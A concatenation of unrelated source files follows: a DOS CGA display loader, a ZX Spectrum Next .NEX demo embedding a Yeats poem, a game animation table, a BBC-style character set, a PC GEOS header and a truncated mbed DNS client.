org 0x100 cpu 8086 cli mov ax,cs mov ds,ax mov ss,ax mov sp,stackHigh-2 sti mov si,0x82 searchLoop lodsb cmp al,0x20 je foundEnd cmp al,0x0d jne searchLoop foundEnd: dec si mov byte[si],0 cmp si,0x82 je error ; Load meta file mov ax,0x3d00 mov dx,0x82 int 0x21 ; open file jc error mov bx,ax mov ax,0x4202 xor cx,cx xor dx,dx int 0x21 ; seek to end jc error cmp dx,0 jne error mov [datSize],ax mov ax,0x4200 ; seek to start int 0x21 jc error mov cx,[datSize] mov ah,0x3f mov dx,datStart int 0x21 ; read file jc error mov ah,0x3e int 0x21 ; close file jnc success error: mov ah,9 mov dx,errorMessage int 0x21 ret success: mov dx,0x3d8 mov al,9 out dx,al inc dx mov al,0 out dx,al mov dl,0xd4 mov ax,0x7100 out dx,ax mov ax,0x5001 out dx,ax mov ax,0x5a02 out dx,ax mov ax,0x0a03 out dx,ax mov ax,0x7f04 out dx,ax mov ax,0x0605 out dx,ax mov ax,0x6406 out dx,ax mov ax,0x7007 out dx,ax mov ax,0x0208 out dx,ax mov ax,0x0109 out dx,ax mov ax,0x060a out dx,ax mov ax,0x070b out dx,ax mov ax,0x000c out dx,ax inc ax out dx,ax mov ax,0x030e out dx,ax mov ax,0xc00f out dx,ax mov ax,0xb800 mov es,ax xor di,di mov si,datStart mov cx,0x2000 rep movsw mov ah,0x00 int 0x16 mov ax,3 int 0x10 mov ax,0x4c00 int 0x21 datSize: dw 0 errorMessage: db "File error$" stackLow: times 128 dw 0 stackHigh: datStart:
/* nex_example.asm This ZX Spectrum Next demo demonstrates creating .NEX files in Zeus, running NextBASIC commands from asm, calling the esxDOS and NextZXOS APIs, printing using NextBASIC 51 column mode from asm, using Zeus to append private data to a .NEX file, and reading that private data from asm. Plus several other neat Zeus features. RVG 21/02/2019 Currently assembles with a pre-release version of Zeus, available at http://www.desdes.com/products/oldfiles/zeustest.exe View the .NEX file with the supplied tzx_display.exe. Latest version at http://www.desdes.com/products/oldfiles/tzx_display.exe NOTE - This .NEX file uses V1.2 format features, and requires a recent version of the NEXLOAD dot command to load it. Obtain this from here: https://gitlab.com/thesmog358/tbblue/raw/master/dot/NEXLOAD?inline=false and copy it into the DOT directory on your Next SD card, overwriting the file already there. */ zeusemulate "Next", "RAW" ; RAW prevents Zeus from adding some BASIC emulator-friendly zoLogicOperatorsHighPri = false ; data like the stack and system variables. Not needed because zxAllowFloatingLabels = false ; this only runs on the Next, and everything is already present. optionsize 5 Cspect optionbool 15, -15, "Cspect", false ; Zeus GUI option to launch CSpect UploadNext optionbool 80, -15, "Next", false ; Zeus GUI option to upload to Next FLashAir wifi SD card org $8000 ; This should keep our code clear of NextBASIC sysvars Main proc ; (Necessary for making NextZXOS API calls) di nextreg $07, %11 ; Next Turbo 28MHz Border(7) OpenOutputChannel(2) ; ROM: Open channel to upper screen (channel 2) ld b, 0 ; IN: B=0, tokenise BASIC line ld c, 4 ; IN: C=8K bank containing buffer for untokenised BASIC line ld hl, UnokenizedBAS-$8000 ; IN: HL=offset in bank of buffer for untokenised line M_P3DOS($01D8, 0) ; API IDE_TOKENIZE ($01D8, Bank 0) (see NextZXOS_and_esxDOS_APIs.pdf page 22) jr nc, Error ; If Carry flag unset, tokenize failed jr z, Error ; If Zero flag set, tokenize failed ; OUT: HL=address of tokenized BASIC command(s), terminated w/ $0D ; IN: HL=address of tokenized BASIC command(s), terminated w/ $0D M_P3DOS($01C0, 0) ; API IDE_BASIC ($01C0, Bank 0) (see NextZXOS_API.pdf page 18) PrintAt(0, 0) ; Equivalent to PRINT AT 0, 0 ld bc, 2 ; Read two bytes F_READ(TextBuffer.Length) ; from the current position in the .NEX file. ; This should correspond to the NexDataLength variable below. ld bc, (TextBuffer.Length) ; Set length of remaining private data to read, F_READ(TextBuffer.Start) ; and read it from the new current position in the file. call Pointer.Init NextLine: ld a, (hl) ; Read line length cp -1 jp z, EndOfText ; If length is -1 (255) we are finished ld c, a ld b, 0 ; bc = characters to print inc hl ; Advance to the first character of the line ex de, hl ; de = starting from this address call $203C ; ROM $203C PR_STRING: Print BC characters starting at DE call Pointer.NextLine ; Position to the next line NewLine: PrintChar(13) ; Print a CR, jp NextLine ; then process the next line EndOfText: jr EndOfText ; Stop here forever. We should think about closing the open ; .NEX file, but in this case the only way to exit is to reset pend ; the Next with F4 or F1, which closes all open files anyway. Error proc Border(2) ; Set border red (2) jr $-2 ; Go into an endless loop pend Pointer proc ; This procedure encapsulates the pointer logic. Who needs OOP! Init: ld hl, TextBuffer.Start ; Set the pointer ld (Value), hl ; to the start of the text buffer ret Inc: ld hl, [Value]0 ; Use Zeus data label to store variable inline (SMC saves space) inc hl ; Advance the pointer ld (Value), hl ; Save the new pointer position NextLine: ld hl, (Value) ; Current position is length of current line ld a, (hl) ; Read the length inc a ; Add 1 for the length byte itself add hl, a ; Calculate new length (ADD HL, A is a Next-only instruction!) ld (Value), hl ; Save the new pointer position ret pend UnokenizedBAS proc ; Untokenized NextBASIC to switch into 51 column mode: db "LAYER %1,%1:CLS:" db "PRINT CHR$ 30;CHR$ 5;", 13 pend FileHandle: db 0 ; This byte is automagically poked here by the .NEX loader ; because of "pu8NEXFileHandle = Main.FileHandle" below TextBuffer proc Length: dw 0 ; We will read the length into here Start: ; We will not allocate any space for the buffer with ds NN, ; because all space after this is free. In a larger program pend ; we would allocate anyway, just to be safe. OpenOutputChannel macro(Channel) ; Semantic macro to call a 48K ROM routine ld a, Channel ; 2 = upper screen call $1601 ; ROM 1601: THE 'CHAN-OPEN' SUBROUTINE mend PrintChar macro(Char) ; Semantic macro to call a 48K ROM routine ld a, Char rst $10 ; ROM 0010: THE 'PRINT A CHARACTER' RESTART mend PrintAt macro(X, Y) ; Semantic macro to call a 48K ROM routine PrintChar(22) PrintChar(Y) ; X and Y are reversed order, i.e. PrintChar(X) ; PRINT AT Y, X mend Border macro(Colour) ; Semantic macro to call a 48K ROM routine if Colour=0 xor a else ld a, Colour endif out ($FE), a ; Change border colour immediately if Colour<>0 ld a, Colour*8 endif ld (23624), a ; Makes the ROM respect the new border colour mend esxDOS macro(Command) ; Semantic macro to call an esxDOS routine rst $08 ; rst $08 is the instruction to call an esxDOS API function. noflow ; Zeus normally warns when data might be executed, suppress. db Command ; For esxDOS API calls, the data byte is the command number. mend M_P3DOS macro(Command, Bank) ; Semantic macro to call an NextZXOS routine via the esxDOS API exx ; M_P3DOS: See NextZXOS_API.pdf page 37 ld de, Command ; DE=+3DOS/IDEDOS/NextZXOS call ID ld c, Bank ; C=RAM bank that needs to be paged (usually 7, but 0 for some calls) esxDOS($94) ; esxDOS API: M_P3DOS ($94) mend F_READ macro(Address) ; Semantic macro to call an esxDOS routine ; In: BC=bytes to read ld a, (FileHandle) ; A=file handle ld ix, Address ; IX=address esxDOS($9D) mend ; Raise an assembly-time error if the expression evaluates false zeusassert zeusver>=74, "Upgrade to Zeus v4.00 (TEST ONLY) or above, available at http://www.desdes.com/products/oldfiles/zeustest.exe" ; Generate a NEX file ; Instruct the .NEX loader to write the file handle to this pu8NEXFileHandle = FileHandle ; address, and keep the file open for further use by us. output_nex "nex_example.nex", $FF40, Main ; Generate the file, with SP argument followed PC ; Zeus "just knows" which 16K banks to include in the .NEX file, ; making generation a one-liner if you don't want loading screens ; or external palette files. See History/Documentation in Zeus ; for complete instructions and syntax. ; Append some private structured data to the nex file. ; This will be read at the start of the program, ; and copied into a buffer before printing it output_nex_data "nex_example.nex", dw NexDataLength ; Prepending full length of extra data allows easy file read output_nex_data "nex_example.nex", dbl "LEDA AND THE SWAN" ; dbl prepends a length byte (0..254) output_nex_data "nex_example.nex", dbl "" ; Empty lines are prepended with length byte 0 output_nex_data "nex_example.nex", dbl "A sudden blow: the great wings beating still" output_nex_data "nex_example.nex", dbl "Above the staggering girl, her thighs caressed" output_nex_data "nex_example.nex", dbl "By the dark webs, her nape caught in his bill," output_nex_data "nex_example.nex", dbl "He holds her helpless breast upon his breast." output_nex_data "nex_example.nex", dbl "" output_nex_data "nex_example.nex", dbl "How can those terrified vague fingers push" output_nex_data "nex_example.nex", dbl "The feathered glory from her loosening thighs?" output_nex_data "nex_example.nex", dbl "And how can body, laid in that white rush," output_nex_data "nex_example.nex", dbl "But feel the strange heart beating where it lies?" output_nex_data "nex_example.nex", dbl "" output_nex_data "nex_example.nex", dbl "A shudder in the loins engenders there" output_nex_data "nex_example.nex", dbl "The broken wall, the burning roof and tower" output_nex_data "nex_example.nex", dbl "And Agamemnon dead. Being so caught up," output_nex_data "nex_example.nex", dbl "So mastered by the brute blood of the air," output_nex_data "nex_example.nex", dbl "Did she put on his knowledge with his power" output_nex_data "nex_example.nex", dbl "Before the indifferent beak could let her drop?" output_nex_data "nex_example.nex", dbl "" output_nex_data "nex_example.nex", dbl "W B YEATS (1922)" output_nex_data "nex_example.nex", db -1 ; No lines are >254 long, so expediently -1 is our end marker ; (If they were, we could use dblw for word-prefixed lengths) ; Read the total length of data appended (less the count word itself), so we can ; write it into the appended data itself on the next pass. Forward-reference magic! NexDataLength = output_nex_data("nex_example.nex")-2 ; Copy .NEX file to wifi-enabled SD card if enabled UploadNext zeusinvoke "upload.bat", "", false ; Uncomment this to use endif ; Launch .NEX file in CSpect if enabled Cspect ; In CSpect.bat there is a hardcoded path to CSpect zeusinvoke "cspect.bat", "", false ; and to the SD image file file container. endif ; Change these to reflect your own paths and filenames. ; To set this up, create a file called upload.bat in the same directory as this source file, ; with the following contents (everything inside the /* */ block comments): /* :: Set current directory C: CD %~dp0 copy nex_example.nex Q:\*.* */ ; This assumes your Toshiba FlashAir has WebDav (W-03 and W-04 versions do), and is mapped to your Q: drive. ; Example FlashAir card: https://www.amazon.co.uk/dp/B073M1FTWV
; --------------------------------------------------------------------------- ; Animation script - Motobug enemy ; --------------------------------------------------------------------------- dc.w byte_F788-Ani_obj40 dc.w byte_F78C-Ani_obj40 dc.w byte_F792-Ani_obj40 byte_F788: dc.b $F, 2, $FF, 0 byte_F78C: dc.b 7, 0, 1, 0, 2, $FF byte_F792: dc.b 1, 3, 6, 3, 6, 4, 6, 4, 6, 4, 6, 5, $FC, 0 even
; ********************************************************************** ; Character set for ascii codes 32-127 ; ; This is formed of 8 bytes per character. ; ; Note these are correct for values &20-&7F. ; ; When bit 8 is set then currently we handle them the same but in Mode 7 ; the following changes appear when in text mode: ; ; Hex Normal Bit 8 set ; &23 # £ ; &5F _ # ; &60 £ _ ; ; Right now we show graphics characters for all values A0-BF & E0-FF ; ; Copyright 2021 Peter Mount ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ; ********************************************************************** .charset EQUB %00000000 ; &20 32 - ' ' EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00011000 ; &21 33 - '!' EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00011000 EQUB %00000000 EQUB %01101100 ; &22 34 - '"' EQUB %01101100 EQUB %01101100 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00110110 ; &23 35 - '#' EQUB %00110110 EQUB %01111111 EQUB %00110110 EQUB %01111111 EQUB %00110110 EQUB %00110110 EQUB %00000000 EQUB %00001100 ; &24 36 - '$' EQUB %00111111 EQUB %01101000 EQUB %00111110 EQUB %00001011 EQUB %01111110 EQUB %00011000 EQUB %00000000 EQUB %01100000 ; &25 37 - '%' EQUB %01100110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %01100110 EQUB %00000110 EQUB %00000000 EQUB %00111000 ; &26 38 - '&' EQUB %01101100 EQUB %01101100 EQUB %00111000 EQUB %01101101 EQUB %01100110 EQUB %00111011 EQUB %00000000 EQUB %00011000 ; &27 39 - ''' EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00001100 ; &28 40 - '(' EQUB %00011000 EQUB %00110000 EQUB %00110000 EQUB %00110000 EQUB %00011000 EQUB %00001100 EQUB %00000000 EQUB %00110000 ; &29 41 - ')' EQUB %00011000 EQUB %00001100 EQUB %00001100 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %00000000 EQUB %00000000 ; &2A 42 - '*' EQUB %00010000 EQUB %01010100 EQUB %00111000 EQUB %00111000 EQUB %01010100 EQUB %00010000 EQUB %00000000 EQUB %00000000 ; &2B 43 - '+' EQUB %00011000 EQUB %00011000 EQUB %01111110 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00000000 EQUB %00000000 ; &2C 44 - ',' EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00011000 EQUB %00011000 EQUB %00110000 EQUB %00000000 ; &2D 45 - '-' EQUB %00000000 EQUB %00000000 EQUB %01111110 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 ; &2E 46 - '.' EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00000000 ; &2F 47 - '/' EQUB %00000110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %01100000 EQUB %00000000 EQUB %00000000 EQUB %00111100 ; &30 48 - '0' EQUB %01100110 EQUB %01101110 EQUB %01111110 EQUB %01110110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %00011000 ; &31 49 - '1' EQUB %00111000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %01111110 EQUB %00000000 EQUB %00111100 ; &32 50 - '2' EQUB %01100110 EQUB %00000110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %01111110 EQUB %00000000 EQUB %00111100 ; &33 51 - '3' EQUB %01100110 EQUB %00000110 EQUB %00011100 EQUB %00000110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %00001100 ; &34 52 - '4' EQUB %00011100 EQUB %00111100 EQUB %01101100 EQUB %01111110 EQUB %00001100 EQUB %00001100 EQUB %00000000 EQUB %01111110 ; &35 53 - '5' EQUB %01100000 EQUB %01111100 EQUB %00000110 EQUB %00000110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %00011100 ; &36 54 - '6' EQUB %00110000 EQUB %01100000 EQUB %01111100 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %01111110 ; &37 55 - '7' EQUB %00000110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %00110000 EQUB %00110000 EQUB %00000000 EQUB %00111100 ; &38 56 - '8' EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %00111100 ; &39 57 - '9' EQUB %01100110 EQUB %01100110 EQUB %00111110 EQUB %00000110 EQUB %00001100 EQUB %00111000 EQUB %00000000 EQUB %00000000 ; &3A 58 - ':' EQUB %00000000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00000000 ; &3B 59 - ';' EQUB %00000000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00011000 EQUB %00011000 EQUB %00110000 EQUB %00001100 ; &3C 60 - '<' EQUB %00011000 EQUB %00110000 EQUB %01100000 EQUB %00110000 EQUB %00011000 EQUB %00001100 EQUB %00000000 EQUB %00000000 ; &3D 61 - '=' EQUB %00000000 EQUB %01111110 EQUB %00000000 EQUB %01111110 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00110000 ; &3E 62 - '>' EQUB %00011000 EQUB %00001100 EQUB %00000110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %00000000 EQUB %00111100 ; &3F 63 - '?' EQUB %01100110 EQUB %00001100 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %00011000 EQUB %00000000 EQUB %00111110 ; &40 64 - '@' EQUB %01100011 EQUB %01101111 EQUB %01101001 EQUB %01101111 EQUB %01100000 EQUB %00111111 EQUB %00000000 EQUB %00111100 ; &41 65 - 'A' EQUB %01100110 EQUB %01100110 EQUB %01111110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %01111100 ; &42 66 - 'B' EQUB %01100110 EQUB %01100110 EQUB %01111100 EQUB %01100110 EQUB %01100110 EQUB %01111100 EQUB %00000000 EQUB %00111100 ; &43 67 - 'C' EQUB %01100110 EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %01111000 ; &44 68 - 'D' EQUB %01101100 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01101100 EQUB %01111000 EQUB %00000000 EQUB %01111110 ; &45 69 - 'E' EQUB %01100000 EQUB %01100000 EQUB %01111100 EQUB %01100000 EQUB %01100000 EQUB %01111110 EQUB %00000000 EQUB %01111110 ; &46 70 - 'F' EQUB %01100000 EQUB %01100000 EQUB %01111100 EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %00000000 EQUB %00111100 ; &47 71 - 'G' EQUB %01100110 EQUB %01100000 EQUB %01101110 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %01100110 ; &48 72 - 'H' EQUB %01100110 EQUB %01100110 EQUB %01111110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %01111110 ; &49 73 - 'I' EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %01111110 EQUB %00000000 EQUB %00111110 ; &4A 74 - 'J' EQUB %00001100 EQUB %00001100 EQUB %00001100 EQUB %00001100 EQUB %01101100 EQUB %00111000 EQUB %00000000 EQUB %01100110 ; &4B 75 - 'K' EQUB %01101100 EQUB %01111000 EQUB %01110000 EQUB %01111000 EQUB %01101100 EQUB %01100110 EQUB %00000000 EQUB %01100000 ; &4C 76 - 'L' EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %01111110 EQUB %00000000 EQUB %01100011 ; &4D 77 - 'M' EQUB %01110111 EQUB %01111111 EQUB %01101011 EQUB %01101011 EQUB %01100011 EQUB %01100011 EQUB %00000000 EQUB %01100110 ; &4E 78 - 'N' EQUB %01100110 EQUB %01110110 EQUB %01111110 EQUB %01101110 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %00111100 ; &4F 79 - 'O' EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %01111100 ; &50 80 - 'P' EQUB %01100110 EQUB %01100110 EQUB %01111100 EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %00000000 EQUB %00111100 ; &51 81 - 'Q' EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01101010 EQUB %01101100 EQUB %00110110 EQUB %00000000 EQUB %01111100 ; &52 82 - 'R' EQUB %01100110 EQUB %01100110 EQUB %01111100 EQUB %01101100 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %00111100 ; &53 83 - 'S' EQUB %01100110 EQUB %01100000 EQUB %00111100 EQUB %00000110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %01111110 ; &54 84 - 'T' EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %01100110 ; &55 85 - 'U' EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %01100110 ; &56 86 - 'V' EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00011000 EQUB %00000000 EQUB %01100011 ; &57 87 - 'W' EQUB %01100011 EQUB %01101011 EQUB %01101011 EQUB %01111111 EQUB %01110111 EQUB %01100011 EQUB %00000000 EQUB %01100110 ; &58 88 - 'X' EQUB %01100110 EQUB %00111100 EQUB %00011000 EQUB %00111100 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %01100110 ; &59 89 - 'Y' EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00000000 EQUB %01111110 ; &5A 90 - 'Z' EQUB %00000110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %01100000 EQUB %01111110 EQUB %00000000 EQUB %00000000 ; &5B 91 - '[' <- in teletext EQUB %00011000 EQUB %00110000 EQUB %01111110 EQUB %00110000 EQUB %00011000 EQUB %00000000 EQUB %00000000 EQUB %01000000 ; &5C 92 - '\' 1/2 in teletext EQUB %01000000 EQUB %01001110 EQUB %01000001 EQUB %00000010 EQUB %00000100 EQUB %00001111 EQUB %00000000 EQUB %00000000 ; &5D 93 - ']' -> in teletext EQUB %00011000 EQUB %00001100 EQUB %01111110 EQUB %00001100 EQUB %00011000 EQUB %00000000 EQUB %00000000 EQUB %00010000 ; &5E 94 - '^' Up arrow in teletext EQUB %00111000 EQUB %01111100 EQUB %01010100 EQUB %00010000 EQUB %00010000 EQUB %00000000 EQUB %00000000 EQUB %00000000 ; &5F 95 - '_' EQUB %00000000 EQUB %00000000 EQUB %11111111 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00000000 EQUB %00011100 ; &60 96 - '`' £ in teletext & BBC EQUB %00110110 EQUB %00110000 EQUB %01111100 EQUB %00110000 EQUB %00110000 EQUB %01111110 EQUB %00000000 EQUB %00000000 ; &61 97 - 'a' EQUB %00000000 EQUB %00111100 EQUB %00000110 EQUB %00111110 EQUB %01100110 EQUB %00111110 EQUB %00000000 EQUB %01100000 ; &62 98 - 'b' EQUB %01100000 EQUB %01111100 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01111100 EQUB %00000000 EQUB %00000000 ; &63 99 - 'c' EQUB %00000000 EQUB %00111100 EQUB %01100110 EQUB %01100000 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %00000110 ; &64 100 - 'd' EQUB %00000110 EQUB %00111110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111110 EQUB %00000000 EQUB %00000000 ; &65 101 - 'e' EQUB %00000000 EQUB %00111100 EQUB %01100110 EQUB %01111110 EQUB %01100000 EQUB %00111100 EQUB %00000000 EQUB %00011100 ; &66 102 - 'f' EQUB %00110000 EQUB %00110000 EQUB %01111100 EQUB %00110000 EQUB %00110000 EQUB %00110000 EQUB %00000000 EQUB %00000000 ; &67 103 - 'g' EQUB %00000000 EQUB %00111110 EQUB %01100110 EQUB %01100110 EQUB %00111110 EQUB %00000110 EQUB %00111100 EQUB %01100000 ; &68 104 - 'h' EQUB %01100000 EQUB %01111100 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %00011000 ; &69 105 - 'i' EQUB %00000000 EQUB %00111000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00111100 EQUB %00000000 EQUB %00011000 ; &6A 106 - 'j' EQUB %00000000 EQUB %00111000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %01110000 EQUB %01100000 ; &6B 107 - 'k' EQUB %01100000 EQUB %01100110 EQUB %01101100 EQUB %01111000 EQUB %01101100 EQUB %01100110 EQUB %00000000 EQUB %00111000 ; &6C 108 - 'l' EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00011000 EQUB %00111100 EQUB %00000000 EQUB %00000000 ; &6D 109 - 'm' EQUB %00000000 EQUB %00110110 EQUB %01111111 EQUB %01101011 EQUB %01101011 EQUB %01100011 EQUB %00000000 EQUB %00000000 ; &6E 110 - 'n' EQUB %00000000 EQUB %01111100 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %00000000 ; &6F 111 - 'o' EQUB %00000000 EQUB %00111100 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00000000 EQUB %00000000 ; &70 112 - 'p' EQUB %00000000 EQUB %01111100 EQUB %01100110 EQUB %01100110 EQUB %01111100 EQUB %01100000 EQUB %01100000 EQUB %00000000 ; &71 113 - 'q' EQUB %00000000 EQUB %00111110 EQUB %01100110 EQUB %01100110 EQUB %00111110 EQUB %00000110 EQUB %00000111 EQUB %00000000 ; &72 114 - 'r' EQUB %00000000 EQUB %01101100 EQUB %01110110 EQUB %01100000 EQUB %01100000 EQUB %01100000 EQUB %00000000 EQUB %00000000 ; &73 115 - 's' EQUB %00000000 EQUB %00111110 EQUB %01100000 EQUB %00111100 EQUB %00000110 EQUB %01111100 EQUB %00000000 EQUB %00110000 ; &74 116 - 't' EQUB %00110000 EQUB %01111100 EQUB %00110000 EQUB %00110000 EQUB %00110000 EQUB %00011100 EQUB %00000000 EQUB %00000000 ; &75 117 - 'u' EQUB %00000000 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111110 EQUB %00000000 EQUB %00000000 ; &76 118 - 'v' EQUB %00000000 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111100 EQUB %00011000 EQUB %00000000 EQUB %00000000 ; &77 119 - 'w' EQUB %00000000 EQUB %01100011 EQUB %01101011 EQUB %01101011 EQUB %01111111 EQUB %00110110 EQUB %00000000 EQUB %00000000 ; &78 120 - 'x' EQUB %00000000 EQUB %01100110 EQUB %00111100 EQUB %00011000 EQUB %00111100 EQUB %01100110 EQUB %00000000 EQUB %00000000 ; &79 121 - 'y' EQUB %00000000 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00111110 EQUB %00000110 EQUB %00111100 EQUB %00000000 ; &7A 122 - 'z' EQUB %00000000 EQUB %01111110 EQUB %00001100 EQUB %00011000 EQUB %00110000 EQUB %01111110 EQUB %00000000 EQUB %01000000 ; &7B 123 - '{' 1/4 in teletext EQUB %01000000 EQUB %01000010 EQUB %01000110 EQUB %00001010 EQUB %00011110 EQUB %00000010 EQUB %00000000 EQUB %01100110 ; &7C 124 - '|' EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %01100110 EQUB %00000000 EQUB %11000000 ; &7D 125 - '}' 3/4 in teletext EQUB %00100000 EQUB %11000010 EQUB %00100110 EQUB %11001010 EQUB %00011110 EQUB %00000010 EQUB %00000000 EQUB %00000000 ; &7E 126 - '~' division symbol EQUB %00011000 EQUB %00000000 EQUB %01111110 EQUB %00000000 EQUB %00011000 EQUB %00000000 EQUB %00000000 EQUB %11111111 ; &7F 127 - DEL EQUB %11111111 EQUB %11111111 EQUB %11111111 EQUB %11111111 EQUB %11111111 EQUB %11111111 EQUB %11111111
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: dos5Suspend.asm AUTHOR: Adam de Boor, May 30, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 5/30/92 Initial revision DESCRIPTION: Functions to deal with suspending and unsuspending the system in the presence of the DOS5 switcher. The basic strategy is this: * at initialization time, we register Ctrl+Esc as the sole hotkey * when we are notified by the keyboard driver that the hotkey has been pressed, we call TaskBeginSuspend $Id: dos5Suspend.asm,v 1.1 97/04/18 11:58:20 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
// DNSClient.cpp 2013/8/27 #include "mbed.h" #include "mbed_debug.h" #include "DNSClient.h" #include "UDPSocket.h" #include "dnsname.h" #include "wiznet.h" #define DBG_DNS 0 #if DBG_DNS #define DBG2(...) do{debug("[DNS]%p %d %s ", this,__LINE__,__PRETTY_FUNCTION__); debug(__VA_ARGS__); } while(0); #else #define DBG2(...) while(0); #endif DNSClient::DNSClient(const char* hostname) : m_state(MYNETDNS_START), m_udp(NULL) { m_hostname = hostname; } DNSClient::DNSClient(Endpoint* pHost) : m_state(MYNETDNS_START), m_udp(NULL) { } DNSClient::~DNSClient() { if (m_udp) { delete m_udp; } } void DNSClient::callback() { uint8_t buf[512]; Endpoint host; int len = m_udp->receiveFrom(host, (char*)buf, sizeof(buf)); if (len < 0) { return; } if (memcmp(buf+0, m_id, 2) != 0) { //verify return; } int rcode = response(buf, len); if (rcode == 0) { m_state = MYNETDNS_OK; } else { m_state = MYNETDNS_NOTFOUND; } } int DNSClient::response(uint8_t buf[], int size) { int rcode = buf[3] & 0x0f; if (rcode != 0) { return rcode; } int qdcount = buf[4]<<8|buf[5]; int ancount = buf[6]<<8|buf[7]; int pos = 12; while(qdcount-- > 0) { dnsname qname(buf); pos = qname.decode(pos); // qname pos += 4; // qtype qclass } while(ancount-- > 0) { dnsname name(buf); pos = name.decode(pos); // name int type = buf[pos]<<8|buf[pos+1]; pos += 8; // type class TTL int rdlength = buf[pos]<<8|buf[pos+1]; pos += 2; int rdata_pos = pos; pos += rdlength; if (type == 1) { // A record ip = (buf[rdata_pos]<<24) | (buf[rdata_pos+1]<<16) | (buf[rdata_pos+2]<<8) | buf[rdata_pos+3]; } #if DBG_DNS printf("%s", name.str.c_str()); if (type == 1) { printf(" A %d.%d.%d.%d\n", 